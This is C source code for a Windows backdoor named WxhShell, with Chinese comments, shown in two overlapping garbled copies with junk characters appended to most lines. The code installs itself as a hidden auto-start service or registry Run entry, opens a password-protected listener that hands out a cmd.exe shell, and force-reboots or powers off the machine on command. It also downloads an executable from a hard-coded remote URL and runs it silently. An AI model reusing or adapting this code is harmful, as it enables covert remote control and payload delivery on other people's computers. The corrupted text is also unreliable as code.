    else { ,+I]\ZeO  
    closesocket(wsh); %s^1de  
    ExitThread(0); G;EJ\J6@Yw  
    } 23 #JmR  
    break; o wb+,Gk(  
    } PsD)]V9%:  
  // 关机 B<n[yiJ}  
  case 'd': { dDD5OnWmJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Of-xGo YZ  
    if(Boot(SHUTDOWN)) (U_HX2f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  yK$aVK"  
    else { b#R$P]dr=  
    closesocket(wsh); 'hV(1Mw  
    ExitThread(0); Upcx@zJ  
    } #,1z=/d.  
    break; lNl.lI\t)y  
    } axq~56"7E  
  // 获取shell MUGoW;}v )  
  case 's': { RDjw|V  
    CmdShell(wsh); EuImj#Zl  
    closesocket(wsh); He}?\C Bo  
    ExitThread(0); J@}PySq  
    break; ^ meU&  
  } 96J]g*o(uU  
  // 退出 Lo5pn  
  case 'x': { USHQwn)%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )jg*u}u 0  
    CloseIt(wsh); K_-m:P  
    break; hZ!kh3@:`  
    } H)EL0 Kv/  
  // 离开 GIn%yB'  
  case 'q': { *X ;ch55\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u0G tzk  
    closesocket(wsh); `%"x'B`mM  
    WSACleanup(); &K(y%ieIJ  
    exit(1); x%HxM~&  
    break; ]<L~f~vU  
        } g j]8/~lr  
  } 5\w*W6y  
  } 67Qu<9}<-  
78~/1-  
  // 提示信息 m^3j|'mG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 11kyrv  
} jb{9W7;RL  
  } *'aouS/?<6  
dU2;   
  return; P1B=fgT  
} >VQLC&u(  
svb7-.!  
// shell模块句柄 X(rXRP#  
int CmdShell(SOCKET sock) r>TOJVT&]  
{ <>Dw8?O  
STARTUPINFO si; Z P6p>?DQ  
ZeroMemory(&si,sizeof(si)); >goHQ30:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5?? }9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ysl#Rwt/2  
PROCESS_INFORMATION ProcessInfo; yWE\)]9  
char cmdline[]="cmd"; qu dY9_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [@8po-()L  
  return 0; ?%Tx% dB  
} m<kJH<!j  
V2M4g  
// 自身启动模式 H$ g*  
int StartFromService(void) w/rJj*  
{ !E_|Zp]up  
typedef struct l^B4.1rT  
{ )pT5"{  
  DWORD ExitStatus; F]r'j ZL  
  DWORD PebBaseAddress; U{LS_VI~  
  DWORD AffinityMask; #7}M\\$M  
  DWORD BasePriority; y'I m/{9U  
  ULONG UniqueProcessId; (_CvN=A  
  ULONG InheritedFromUniqueProcessId; 96QY0  
}   PROCESS_BASIC_INFORMATION; CSq|R-@< U  
hsS&|7Pt  
PROCNTQSIP NtQueryInformationProcess; N:k>V4oE  
tcsb]/my  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V45adDiZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; / x$JY\cq`  
kR^h@@'F"  
  HANDLE             hProcess; -C}"1|P!  
  PROCESS_BASIC_INFORMATION pbi; ?A_+G 5  
5|N`:h'9M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^Jq('@  
  if(NULL == hInst ) return 0; SE@TY32T  
OdY9g2y#m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %dq%+yw{%m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F kf4R5Y?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B)1(  
K[0z$T\  
  if (!NtQueryInformationProcess) return 0; Ql l{;A  
VKX|0~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x=Oy 6"  
  if(!hProcess) return 0; e@TwZ6l  
"J2q|@.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L?N-uocT  
?eX/vqk  
  CloseHandle(hProcess); `BG>%#  
LP|YW*i=IQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); US"g>WLwJ  
if(hProcess==NULL) return 0; JS%LJ _J  
-T{2R:\{  
HMODULE hMod; B@i%B+qCLv  
char procName[255]; (l-= /6-  
unsigned long cbNeeded; Zl3e=sg=  
|3!)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ha=2isq  
2ww H3}  
  CloseHandle(hProcess); HF_8661g  
1Q? RD%lkf  
if(strstr(procName,"services")) return 1; // 以服务启动 PlLt^q.z[  
1E&S{.  
  return 0; // 注册表启动 0'$67pY  
}  JJ}DYv  
r hucBm  
// 主模块 ;DYS1vGo  
int StartWxhshell(LPSTR lpCmdLine) 2y;vX|lX]  
{ ~&qvS  
  SOCKET wsl; KA?%1s(kJ  
BOOL val=TRUE; sCrP+K0D  
  int port=0; OW\vbWX  
  struct sockaddr_in door; 87+fd_G  
R#;xBBt8  
  if(wscfg.ws_autoins) Install(); ( B\ UZb  
7Vh  
port=atoi(lpCmdLine); w)@Wug  
?2Z`xL9QT  
if(port<=0) port=wscfg.ws_port; 6Q]c}  
DgW@v[#BK=  
  WSADATA data; T@Izf X7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /(hTk&  
,f:K)^yD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xRXvTNEg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m[3c,Axl7  
  door.sin_family = AF_INET; H{=G\N{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d<Q%h?E  
  door.sin_port = htons(port); :adz~L$  
OQKg/1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WlvT&W  
closesocket(wsl); 4=|Q2qgFV  
return 1; Y)5O %@Rl  
} qAH^BrJ  
*!&?Xy%\"j  
  if(listen(wsl,2) == INVALID_SOCKET) { ,pGA|ob  
closesocket(wsl); 4}/gV)  
return 1; f)z(9JJL  
} vn$=be8l4  
  Wxhshell(wsl); W$NFk(  
  WSACleanup(); Aixe?A_x  
6?<lS.s  
return 0; Y!_c/!Tx  
O$m &!J  
} i({\fb|0  
!'F1Ht  
// 以NT服务方式启动 YF-E1`+?<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sfn^R+x4,9  
{ \ Voly  
DWORD   status = 0; 0q-lyVZ^X  
  DWORD   specificError = 0xfffffff; 7>O`UT<t4@  
8uLS7\,$z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }kvix{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $ [fqTh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8_HBcZWs  
  serviceStatus.dwWin32ExitCode     = 0; Nr2,m"R{  
  serviceStatus.dwServiceSpecificExitCode = 0; F9K0  
  serviceStatus.dwCheckPoint       = 0; +<F3}]]  
  serviceStatus.dwWaitHint       = 0; PLs`Ci|`  
tR'RB@kJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M`'DD-Q  
  if (hServiceStatusHandle==0) return; 8Z9>h:c1  
ez[x8M>  
status = GetLastError(); {._'Q[  
  if (status!=NO_ERROR) _%D7D~2r|  
{ e8xq`:4Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [[AO6.Z  
    serviceStatus.dwCheckPoint       = 0; B47I?~{  
    serviceStatus.dwWaitHint       = 0; o(Z~J}l({  
    serviceStatus.dwWin32ExitCode     = status;  AkS16A  
    serviceStatus.dwServiceSpecificExitCode = specificError; 54>0Dv??H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O]=jI  
    return; 1aRTvaGo  
  } W& 0R/y7  
\l /}` w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *|\bS "  
  serviceStatus.dwCheckPoint       = 0; E:**gvfq  
  serviceStatus.dwWaitHint       = 0; rmkBp_i{|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `+\$  
} /}U)|6- B  
Y3:HQ0w`|  
// 处理NT服务事件,比如:启动、停止 ,s 3|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6&SNFOX{@  
{ ANw1P{9*  
switch(fdwControl) W9w(a:~hY  
{ u]Vt>Ywu  
case SERVICE_CONTROL_STOP: q%kCTw  
  serviceStatus.dwWin32ExitCode = 0;  eu$VKLY*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vJ'22)n  
  serviceStatus.dwCheckPoint   = 0; -kLBq :M  
  serviceStatus.dwWaitHint     = 0; Bv@p9 ] n  
  { <H60rON  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0O`Rh"O  
  } yVK ; "  
  return; N^oP,^+U  
case SERVICE_CONTROL_PAUSE: P`Ku. ONQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Fh)xm* u(  
  break; gF)-Ci  
case SERVICE_CONTROL_CONTINUE: `f~bnL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MSM8wYcD  
  break; dyn)KDS  
case SERVICE_CONTROL_INTERROGATE: ~%>i lWaHB  
  break; 0$Rn|yqf%  
}; @~ke=w6&pe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v%*don  
} o;Z"I&  
1K@ieVc  
// 标准应用程序主函数 EEZ~Bs}d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lF/ Xs  
{ Qv ~@  
-9{N7H  
// 获取操作系统版本 4lX_2QT]E  
OsIsNt=GetOsVer(); TM#L.xPMf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2H9hN4N  
oz=ULPZ%  
  // 从命令行安装 O8\f]!O(  
  if(strpbrk(lpCmdLine,"iI")) Install(); B(s^(__]  
8TB|Y  
  // 下载执行文件 X+A@//,7  
if(wscfg.ws_downexe) { J{\Uw].|0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q6-o!>dLQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]m 3cm  
} hIqUidJod  
18F}3t??  
if(!OsIsNt) { q9ra  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;AOLbmb)H4  
HideProc(); RDDA^U7y#  
StartWxhshell(lpCmdLine); uNuFD|aQ.  
} 5Q8 H8!^  
else KM[0aXOtv  
  if(StartFromService()) d38o*+JCf  
  // 以服务方式启动 AH'c:w]~  
  StartServiceCtrlDispatcher(DispatchTable); !zOj`lx  
else Xv!Gg6v6  
  // 普通方式启动 &K'*67h  
  StartWxhshell(lpCmdLine); M("sekL  
zKJQel5  
return 0; <CO_JWD  
} `x _(EZ  
eJ45:]_%I@  
N(4y}-w$  
DQW)^j h  
=========================================== l([aKm#  
D )`(b  
W3UxFs]$  
<]G'& iv>  
"A Bt  
&)Qq%\EP4  
" _p:n\9k  
k6(</uRj  
#include <stdio.h> hL/u5h%$  
#include <string.h> Rf`_q7fm  
#include <windows.h> 9rz$c, Y(  
#include <winsock2.h> 'q:7PkN!p  
#include <winsvc.h> LRu*%3xx  
#include <urlmon.h> yKj}l,i~8  
<\$"U5"`  
#pragma comment (lib, "Ws2_32.lib") 1K/ :  
#pragma comment (lib, "urlmon.lib") 1HNP@9ga  
F!hjtIkPj  
#define MAX_USER   100 // 最大客户端连接数 #3_g8ni5X  
#define BUF_SOCK   200 // sock buffer 6:%lxG  
#define KEY_BUFF   255 // 输入 buffer )ddJ\:  
R$l- 7YSt  
#define REBOOT     0   // 重启 yN`hW&K  
#define SHUTDOWN   1   // 关机 !YGHJwW:  
N5zWeFq@6  
#define DEF_PORT   5000 // 监听端口 up['<Kt+a  
Vv(buG  
#define REG_LEN     16   // 注册表键长度 |Y}YhUI&  
#define SVC_LEN     80   // NT服务名长度 G.L}VpopM  
deYv&=SPl  
// 从dll定义API o[KZm17  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :t`W&z41  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oZ/"^5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zOSUYn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1QA/ !2E  
7)<Ib j<M  
// wxhshell配置信息 *j&\5|^V  
struct WSCFG { 1o\2\B=k{  
  int ws_port;         // 监听端口 Heh&;c  
  char ws_passstr[REG_LEN]; // 口令 Jy}~ZY  
  int ws_autoins;       // 安装标记, 1=yes 0=no h9m|f|cH  
  char ws_regname[REG_LEN]; // 注册表键名 <?IDCOt ?  
  char ws_svcname[REG_LEN]; // 服务名 {G vGV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lq53 xT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &D[M<7T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m4OnRZYlw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -E6av|c,F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )!rD&l$tE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?/MkH0[G=  
d m"R0>  
}; NvIg,@}  
Wf "$  
// default Wxhshell configuration S)zw[m  
struct WSCFG wscfg={DEF_PORT, `_)9eGQ  
    "xuhuanlingzhe", U}X'RCM  
    1, JXkx!X_{  
    "Wxhshell", %fS1g Sf h  
    "Wxhshell", <Ez@cZ"  
            "WxhShell Service", 0$`pYW]  
    "Wrsky Windows CmdShell Service", ku*k+4rz  
    "Please Input Your Password: ", qk'&:A  
  1, Y1r'\@L w  
  "http://www.wrsky.com/wxhshell.exe", vA:ZR=)F  
  "Wxhshell.exe" 9A4n8,&sm  
    };  gh[q*%#  
3O*iv{-&  
// 消息定义模块 *>qc6d@'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z ;~%!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i03S9J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'MYKAnZ-i  
char *msg_ws_ext="\n\rExit."; BTr;F]W  
char *msg_ws_end="\n\rQuit."; 1yF9zKs&_  
char *msg_ws_boot="\n\rReboot..."; L''VBY"?  
char *msg_ws_poff="\n\rShutdown..."; -eV*I >G  
char *msg_ws_down="\n\rSave to "; <HJLs+C  
']2d^'TH  
char *msg_ws_err="\n\rErr!"; <75x@!  
char *msg_ws_ok="\n\rOK!"; u y"i3xD6-  
9:RV5Dt  
char ExeFile[MAX_PATH]; c %Y *XJ'  
int nUser = 0; @6DKw;Q  
HANDLE handles[MAX_USER]; |b='DJz2  
int OsIsNt; dbEXl m  
-}T7F+  
SERVICE_STATUS       serviceStatus; J| &aqY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -,/6 Wn'j  
# {k$Fk  
// 函数声明 @(=?x:j  
int Install(void); qOpwl*?x+  
int Uninstall(void); tOnOzD  
int DownloadFile(char *sURL, SOCKET wsh); %jj-\Gz!  
int Boot(int flag); )ZLj2H<  
void HideProc(void); g$)0E<  
int GetOsVer(void); /J-.K*xKt  
int Wxhshell(SOCKET wsl); &,p6lbP  
void TalkWithClient(void *cs); K($+ILZ  
int CmdShell(SOCKET sock); g8Y)90 G  
int StartFromService(void); C<:wSS^@1  
int StartWxhshell(LPSTR lpCmdLine); 0# 1~'e  
P;y!Y/$C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9fbo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n@kJ1ee'  
h){#dU+&  
// 数据结构和表定义 `r=^{Y  
SERVICE_TABLE_ENTRY DispatchTable[] = 4?(=?0/[  
{ (K6vXq.;\\  
{wscfg.ws_svcname, NTServiceMain}, *j,noHUT~>  
{NULL, NULL} N!?~Dgw  
}; &~.|9P/45  
E 8W*^^z(  
// 自我安装 UjunIKX+  
int Install(void) M^l%*QF[,q  
{ ueW/i  
  char svExeFile[MAX_PATH]; jZ5ac=D&I  
  HKEY key; j4@6`[n:  
  strcpy(svExeFile,ExeFile); *R4=4e2#S  
BH}rg,]G  
// 如果是win9x系统,修改注册表设为自启动 G^<m0ew|  
if(!OsIsNt) { L*Ffic  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >W/mRv&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j1Sjw6}GCH  
  RegCloseKey(key); w"M!**bP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %y>*9$<pXe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'dQGb-<_<  
  RegCloseKey(key); $i8oLSRV  
  return 0; It3@ Cd>  
    } d\A7}_r*x  
  } 8EiS\$O-  
} P%[ { 'u  
else { VWXyN  
gQhYM7NP{5  
// 如果是NT以上系统,安装为系统服务 C)qG<PW.!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 60|m3|0o  
if (schSCManager!=0) ^N ;TCn  
{ GmUm?A@B  
  SC_HANDLE schService = CreateService kp?_ir  
  ( o"N\l{#s  
  schSCManager, Ek06=2i  
  wscfg.ws_svcname, bTYR=^9  
  wscfg.ws_svcdisp, g rQ,J  
  SERVICE_ALL_ACCESS, Rdj3dg'<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i[33u p  
  SERVICE_AUTO_START, Mp5Z=2l5  
  SERVICE_ERROR_NORMAL, .Q</0*sp  
  svExeFile, I A=\c  
  NULL, =y?Aeqq\fl  
  NULL, p*zTuB~e<  
  NULL, @1k-h;`,  
  NULL, A$P Oc<  
  NULL }DvT6  
  ); :W-xsw  
  if (schService!=0) $RRh}w\0^  
  { vls+E o]  
  CloseServiceHandle(schService); b\NY!)B  
  CloseServiceHandle(schSCManager); bWCtRli}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #'#@H  
  strcat(svExeFile,wscfg.ws_svcname); *gwo.s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h^H)p`[Gme  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A}uWy^w  
  RegCloseKey(key); SrMfd7H8f  
  return 0; X*)DpbWd  
    } L`w_Q2{sv  
  } [4])\q^q  
  CloseServiceHandle(schSCManager); .nA9irc  
} PGTjOkx  
} .q 4FGPWz  
=':SOO7  
return 1; oC!z+<  
} 2R3)/bz-SV  
ncR]@8  
// 自我卸载 Q`=d5Uvw  
int Uninstall(void) ?|hYtV  
{ k_OzkEM9!  
  HKEY key; K9RRY,JB  
)DQcf]I  
if(!OsIsNt) { A(C0/|#V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +I.{y  
  RegDeleteValue(key,wscfg.ws_regname); ,}^;q58  
  RegCloseKey(key); _4lKd`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1q*=4O  
  RegDeleteValue(key,wscfg.ws_regname); D|C!KF (  
  RegCloseKey(key); +=kz".$  
  return 0; 2-#&ktM%V  
  } b u/GaE~  
} Jjx1`S*i  
} >ISBK[=H  
else { )RT:u)N  
l n09_Lr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S; !7 /z  
if (schSCManager!=0) 6I5LZ^/G9  
{ M"OCwBT U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %wq;<'W  
  if (schService!=0) `4|:8@,3{  
  { z_$F)*PL  
  if(DeleteService(schService)!=0) { .k5&C/jv  
  CloseServiceHandle(schService); S]c&T`jx  
  CloseServiceHandle(schSCManager); UtB~joaR  
  return 0; +4]f6Zz({  
  } ir;az{T#U  
  CloseServiceHandle(schService); s<LYSrd  
  } &X}i%etp^2  
  CloseServiceHandle(schSCManager); [-=y*lx %g  
} QIcc@PGT9a  
} AHP;N6Y6  
Pfg.'Bl  
return 1; U ,\t2z  
} |198A,^  
ZlL]AD@  
// 从指定url下载文件 [_tBv" z  
int DownloadFile(char *sURL, SOCKET wsh) mw${3j~&  
{ R6irL!akAd  
  HRESULT hr; H7Ee0T(`  
char seps[]= "/"; _GL:4  
char *token; `Y<FR  
char *file; mx0EEU*  
char myURL[MAX_PATH]; 8/ CK(G  
char myFILE[MAX_PATH]; @B>pPCowa  
MB?762 Q  
strcpy(myURL,sURL); lM%3 ?~?Q&  
  token=strtok(myURL,seps); KN\tRE  
  while(token!=NULL) t\,X G  
  { $_W kI^  
    file=token; x?G"58  
  token=strtok(NULL,seps); K|wB0TiXP  
  } OGnuBK  
%Wg8dy|  
GetCurrentDirectory(MAX_PATH,myFILE); WP? AQD  
strcat(myFILE, "\\"); 1n>(CwLG"  
strcat(myFILE, file); Z2I2 [pA  
  send(wsh,myFILE,strlen(myFILE),0); G9 ra;.  
send(wsh,"...",3,0); {60U6n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `mDCX  
  if(hr==S_OK) 6"U$H$i.G  
return 0; `R_;n#3F0  
else iq`caoi  
return 1; 5}'W8gV?  
J4m2|HK  
} vqJq=\ .m  
~|8-Mo1ce  
// 系统电源模块 .arWbTR)~U  
int Boot(int flag) sK|+&BC  
{ .vtV2lq  
  HANDLE hToken; Uf\U~wM<  
  TOKEN_PRIVILEGES tkp; $x q$  
*skmTioj&  
  if(OsIsNt) { +(8Z8]Jf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m}sh (W5\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t``q_!s}F  
    tkp.PrivilegeCount = 1; "VQ7Y`,+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @`:z$52  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7SJtW`~  
if(flag==REBOOT) { 3|1v)E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h9l 6AnbJ  
  return 0; [|APMMYK1  
} \) g?mj^  
else { l[b`4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A0gRX]  
  return 0; )s>R~7  
} *f3? 0w  
  } u:%Ln_S  
  else { ')KuLVE}S  
if(flag==REBOOT) { `:YCOF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g3vR\?c`  
  return 0; l !:kwF  
} Z3z"c B  
else { #b$qtp!,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5/m}v'S%  
  return 0; $VUX?ii$7=  
} RfzYoBN  
} e4Q2$ Q@b  
yuq2)  
return 1; _'Hw` 0}s  
} .CBb%onx  
E8b:MY  
// win9x进程隐藏模块 aJ$({ZN\#  
void HideProc(void) jF0>w  m  
{ gE~LPwM  
ow K)]t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `-w;/A"MJ  
  if ( hKernel != NULL ) 4~z-&>%  
  { H[U"eS."  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~r?VXO p"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }5lC8{wZ  
    FreeLibrary(hKernel); p?'&P!  
  } x5eSPF1  
-$cO0RSY  
return; 5O"$'iL  
} w7QYWf'  
o&#!W(   
// 获取操作系统版本 oR'u&\mB  
int GetOsVer(void) ^BhS*  
{ ^D A<=C-[!  
  OSVERSIONINFO winfo; lHc9D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "*ww>0[  
  GetVersionEx(&winfo); "WzD+<oL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #.@-ng6C  
  return 1; o8u;2gZx  
  else M&` b\la  
  return 0; aBWA hn  
} 4XIc|a Aa  
<j:@ iP  
// 客户端句柄模块 Z^_gS&nDa~  
int Wxhshell(SOCKET wsl) YZ^mH <  
{ 40HhMTZ0-  
  SOCKET wsh; #;/ob-  
  struct sockaddr_in client; 1EA#c>I$  
  DWORD myID; d VyT`  
3U%kf<m=  
  while(nUser<MAX_USER) R0YWe  
{ K#xL-   
  int nSize=sizeof(client); 2$FH+wuW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e$o]f"(  
  if(wsh==INVALID_SOCKET) return 1; `j!XWh*$  
CO`?M,x>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [Z;ei1l  
if(handles[nUser]==0) @z>DJ>htN  
  closesocket(wsh); #O^%u,mJj  
else t:*1* ;  
  nUser++; -mLS\TFS  
  } H7(D8.y )  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zV8{|-2]No  
~{-9qOGw;  
  return 0; vF1Fcp.@  
} w$"^)E G,7  
kbZpi`w  
// 关闭 socket . Ky)Co  
void CloseIt(SOCKET wsh) L wn  
{ in`|.#  
closesocket(wsh); bL/DjsZ@  
nUser--; 8yk4#CZ  
ExitThread(0); L5r02VzbD  
} >35W{ d  
H`1q8}m  
// 客户端请求句柄 =:'\wx X  
void TalkWithClient(void *cs) H h35cj  
{ __}ut+H^5p  
l"/E,X  
  SOCKET wsh=(SOCKET)cs; m}6Jdt'|  
  char pwd[SVC_LEN]; O~m Q\GlW  
  char cmd[KEY_BUFF]; 2WC$r8E  
char chr[1]; *U +<Hv`C  
int i,j; jcHyRR1R  
y% O^Zm1  
  while (nUser < MAX_USER) { ;.=]Ar}  
n 0g8B  
if(wscfg.ws_passstr) { 7M Qh,J!"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @D>qo=KPM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I>{o]^xw-D  
  //ZeroMemory(pwd,KEY_BUFF); U7HfDDh  
      i=0; +QP(ATdM  
  while(i<SVC_LEN) { Y=t? "E  
IZs&7  
  // 设置超时 J vq)%t8q>  
  fd_set FdRead; q7<=1r+  
  struct timeval TimeOut; <Yg6=e  
  FD_ZERO(&FdRead); VxtX%McK  
  FD_SET(wsh,&FdRead); D>0(*O  
  TimeOut.tv_sec=8; #HZ W57"  
  TimeOut.tv_usec=0; |5jrl|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Up0kTL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i6<uj  
MV]`[^xQ5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2D /bMq  
  pwd=chr[0]; Xyjd7 "  
  if(chr[0]==0xd || chr[0]==0xa) { -kHJH><j  
  pwd=0; 3^5h:OaT  
  break; Z<,Hz+  
  } $PRUzFZ  
  i++; o2[$X ONTl  
    } 8:[ l1d86  
|K9*><P?)2  
  // 如果是非法用户,关闭 socket 9sI&d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EvH/d4V;  
} Vh>|F}%E  
uU%Z%O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QseV\;z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W8F@nY  
sR/y|  
while(1) { $9P=  
5)A[NTNJx  
  ZeroMemory(cmd,KEY_BUFF); &j,# 5f(  
cg_ " }]Y1  
      // 自动支持客户端 telnet标准   ~'F.tB  
  j=0; H3 -?cy  
  while(j<KEY_BUFF) { e+)y6Q=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;tQ(l%!  
  cmd[j]=chr[0]; MJkusR/  
  if(chr[0]==0xa || chr[0]==0xd) { &XCP@@T  
  cmd[j]=0; R+z'6&/ =I  
  break; bg|dV  
  } ZMLN ;.{Na  
  j++; %a FZbLK  
    } -*Tf.c  
',/#|  
  // 下载文件 JI  cm$  
  if(strstr(cmd,"http://")) { Jg)( F|>o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y=?{TX=6<[  
  if(DownloadFile(cmd,wsh)) eK5~YM:o  
